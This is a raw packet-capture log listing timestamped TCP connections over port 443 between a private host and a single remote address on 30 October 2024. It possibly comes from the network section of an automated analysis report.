Oct 30, 2024 06:17:28.466336012 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.466408968 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.466500044 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.466701031 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.466732025 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.466758966 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.466774940 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.468981981 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.469059944 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.469150066 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.469305992 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.469340086 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.950726986 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.951286077 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.951351881 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.952074051 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.952086926 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.030200958 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.030647993 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.030719042 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.031101942 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.031116009 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.078670025 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.078743935 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.078856945 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.078859091 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.078919888 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.079031944 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.079031944 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.079066992 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.079091072 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.081918955 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.081955910 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.082036972 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.082195044 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.082211971 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.159018993 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.159156084 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.159239054 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.159352064 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.159352064 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.159394026 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.159423113 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.161987066 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.162069082 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.162153006 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.162290096 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.162322044 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.191461086 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.191946030 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.191972971 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.192409992 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.192415953 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.193150043 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.193481922 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.193512917 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.193871021 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.193876982 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.224770069 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.225286961 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.225346088 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.225696087 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.225709915 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.321280003 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.321451902 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.321521044 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.321556091 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.321625948 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.321701050 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.321743965 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.321774006 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.321789026 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.324809074 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.324852943 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.324949980 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.325130939 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.325162888 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.325316906 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.325385094 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.325438976 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.325500011 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.325519085 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.325532913 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.325537920 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.327565908 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.327636957 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.327727079 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.327847958 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.327881098 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.356570959 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.356637955 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.356699944 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.356837988 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.356894016 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.356928110 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.356942892 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.358859062 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.358886957 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.358967066 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.359091997 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.359116077 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.887721062 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.888461113 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.888509989 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.888942957 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.888957977 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.977268934 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.977832079 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.977858067 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:29.978382111 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:29.978388071 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.015090942 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.015225887 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.015299082 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.015431881 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.015470982 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.015499115 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.015515089 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.018445015 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.018505096 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.018589973 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.018726110 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.018757105 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.065830946 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.066241026 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.066268921 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.066669941 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.066682100 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.082534075 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.082936049 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.082972050 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.083630085 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.083659887 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.094996929 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.095259905 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.095277071 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.095607996 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.095618963 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.159527063 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.159679890 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.159746885 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.159890890 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.159909010 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.159918070 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.159923077 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.162959099 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.163016081 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.163116932 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.163271904 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.163299084 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.196928024 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.196960926 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.197010994 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.197020054 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.197069883 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.197211027 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.197211027 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.197258949 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.197288036 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.199525118 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.199546099 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.199614048 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.199745893 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.199759007 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.214466095 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.214653969 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.214720011 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.214762926 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.214762926 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.214792013 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.214816093 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.216664076 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.216696024 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.216759920 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.216875076 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.216901064 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.233694077 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.233772993 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.233831882 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.233906031 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.233932018 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.233956099 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.233969927 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.235897064 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.235915899 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.235974073 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.236077070 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.236088991 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.754352093 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.754970074 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.755032063 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.755494118 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.755513906 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.886794090 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.886881113 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.886954069 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.886974096 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.887037039 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.887278080 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.887326956 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.887360096 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.887375116 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.890202999 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.890229940 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.890301943 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.890456915 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.890467882 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.905554056 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.905951023 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.905983925 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.906411886 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.906419039 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.936630964 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.937084913 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.937103033 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.937534094 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.937539101 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.949738026 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.950123072 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.950154066 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.950515985 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.950526953 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.975708008 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.979094982 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.979118109 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:30.979588985 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:30.979593992 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.034934044 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.035154104 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.035238028 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.035293102 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.035346985 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.035382986 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.035398960 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.038234949 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.038274050 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.038372040 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.038552046 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.038568020 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.067176104 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.067207098 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.067255020 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.067270994 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.067323923 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.067466021 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.067480087 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.067492008 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.067497015 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.070231915 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.070251942 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.070323944 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.070478916 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.070488930 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.112026930 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.112051010 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.112096071 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.112104893 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.112138987 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.112354994 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.112365961 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.112375975 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.112379074 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.114927053 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.114960909 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.115072966 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.115160942 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.115175962 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.375653028 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.375819921 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.375902891 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.376122952 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.376159906 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.376185894 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.376200914 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.379198074 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.379232883 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.379329920 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.379506111 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.379525900 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.636148930 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.636833906 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.636862993 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.637474060 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.637481928 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.767113924 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.767271996 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.767389059 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.767509937 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.767529964 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.767539978 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.767545938 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.770663977 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.770714045 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.770795107 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.770978928 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.770993948 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.810338974 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.810967922 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.810985088 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.811491013 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.811496973 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.828320980 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.828733921 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.828753948 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.829138994 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.829144001 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.845932961 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.846349955 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.846364021 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.846781969 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.846786022 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.945625067 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.945650101 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.945750952 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.945799112 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.945799112 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.946085930 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.946085930 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.946106911 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.946118116 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.948956966 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.949004889 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.949080944 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.949220896 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.949234009 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.965152025 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.965172052 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.965229034 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.965264082 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.965351105 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.965502024 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.965502024 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.965543985 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.965572119 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.967938900 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.967966080 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.968040943 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.968178988 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.968194008 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.975759029 CET	443	49947	13.107.246.45	192.168.2.4
